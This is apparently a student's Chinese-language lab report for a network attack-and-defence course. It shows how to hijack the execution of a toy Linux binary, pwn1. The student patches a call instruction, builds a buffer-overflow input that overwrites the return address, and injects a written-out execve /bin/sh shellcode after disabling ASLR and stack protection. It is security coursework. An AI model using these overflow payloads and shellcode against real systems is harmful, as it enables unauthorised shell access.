1. 程式人生 > 其它 >20212908 2021-2022-2 《網路攻防實踐》實踐九報告

20212908 2021-2022-2 《網路攻防實踐》實踐九報告

一、實踐內容

本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。

三個實踐內容如下:

  1. 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
  2. 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
  3. 注入一個自己製作的shellcode並執行這段shellcode。

二、實踐過程

1.手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。

(1)執行pwn1,發現能夠回顯使用者輸入

(2)使用指令objdump -d pwn1 | more反彙編提供的pwn1檔案,我們可以看到pwn1所有的函式。

找到main函式,發現其中80484b5行的call指令呼叫了foo函式,在這個檔案中,call指令的機器碼是e8。而8048491=80484ba+ffffffd7,也就是說,call指令跳轉到的目標foo函式的地址(8048491)正是該指令的下一條指令的EIP暫存器的值(指令的下一條指令的地址)與該指令的表示目標的欄位之和。因此,想要改變程式執行流程,直接跳轉到getShell函式,我們只需修改call指令後的地址:由於804847d-80484ba=ffffffc3,所以我們只需要把call指令的目標地址由d7ffffff改為c3ffffff即可。
(3)用vi編輯器開啟pwn1:vi pwn1



(4)按下esc退出編輯模式,然後鍵入:%!xxd,切換為16進位制模式。

(5)搜尋d7ffffff,將其修改為c3ffffff


(6)轉換為原格式:%!xxd -r,存檔退出vi:wq
(7)使用指令objdump -d pwn1 | more反彙編pwn1檔案,發現main中地址已經成功修改

(8)執行pwn1,成功呼叫getshell函式

2. 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式

(1)使用objdump -d pwn0 | more將pwn0反彙編後檢視foo函式,該函式的功能是呼叫gets讀進使用者輸入的字串然後用puts函式將字串輸出,但是該函式並沒有檢查使用者輸入,所以存在BOF漏洞。
觀察反彙編出的彙編程式碼得知預留的區域性變數的空間為0x38,而gets函式將讀取到的字串存放到0x1c(28個位元組)處,根據堆疊結構,當輸入字串長度達到36時,第33~36個位元組將會覆蓋到EIP中:

(2)輸入長度為38的字串“aaaaaaaaabbbbbbbbbcccccccccdddddddddee”,發現EIP暫存器的內容為0x64646464,是“d”的ASCLL碼的十六進位制64,說明當輸入字串過長時,第33~36個位元組將會覆蓋EIP的內容。

(3)如果我們想要觸發getShell函式,可以把eip的值即輸入的字串的第33-36個位元組設為getshell的地址值0804847d。由於elf語言是小端優先,我們在33-36個位元組應該這樣輸入:\x7d\x84\x04\x08。
使用命令perl -e 'print "yyyyyyyyxxxxxxxxyyyyyyyyxxxxxxxx\x7d\x84\x04\x08\x0a"' > pwn0_input

生成十六進位制字串檔案“input”,然後用(cat pwn0_input; cat) | ./pwn0命令將input作為pwn1的輸入,獲得shell:

3. 注入一個自己製作的shellcode並執行這段shellcode

(1)下載工具execstack

(2)準備工作:設定堆疊可執行,關閉地址隨機化,使攻擊環境比較理想。

(3)為了保證注入的shellcode能夠順利執行,我們需要找到程式放置shellcode的地址,首先任意構造一個長度為36個位元組的input_shellcode檔案,通過gdb除錯查詢地址。
輸入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
將input_shellcode注入pwn1。輸入:(cat input_shellcode;cat) | ./pwn1

(4)重新開啟一個終端進行gdb除錯,輸入:ps -ef | grep pwn1

可以看到pwn1程序id為12576。
(5)輸入:gdb,進入gdb除錯。
輸入:attach 12576,檢視pwn1程序。
輸入:disassemble foo,可以看到此時程式在”80484ae”處停止。
輸入:break *0x080484ae,設定斷點。
此處需注意,要在第一個終端中按回車後,接著回到第二個終端輸入:info r esp,檢視棧頂指標的位置在“0xffffd50c”。
輸入:x/16x 0xffffd50c,可以看到值“01020304”的位置在“0xffffd50c”。

(6)0xffffd50c+0x00000004=0xffffd510
輸入:perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode,重新構造input_shellcode。
輸入:(cat input_shellcode;cat) | ./pwn1,將input_shellcode注入pwn1。

三、學習中遇到的問題及解決

--問題1:gdb除錯時斷點設定失敗,導致注入出現問題


--問題1解決方案:詢問同學之後,發現設定斷點之後,需要在另一個終端介面進行回車除錯。

4.實踐總結

本次實驗,進行了緩衝區溢位和shellcode的安全攻防相關學習,複習了本科相關編譯指令,瞭解並掌握了反彙編語句、注入shellcode語句和gdb工具的使用,讓我對軟體安全有了更加深入的理解,提高了自己的動手能力。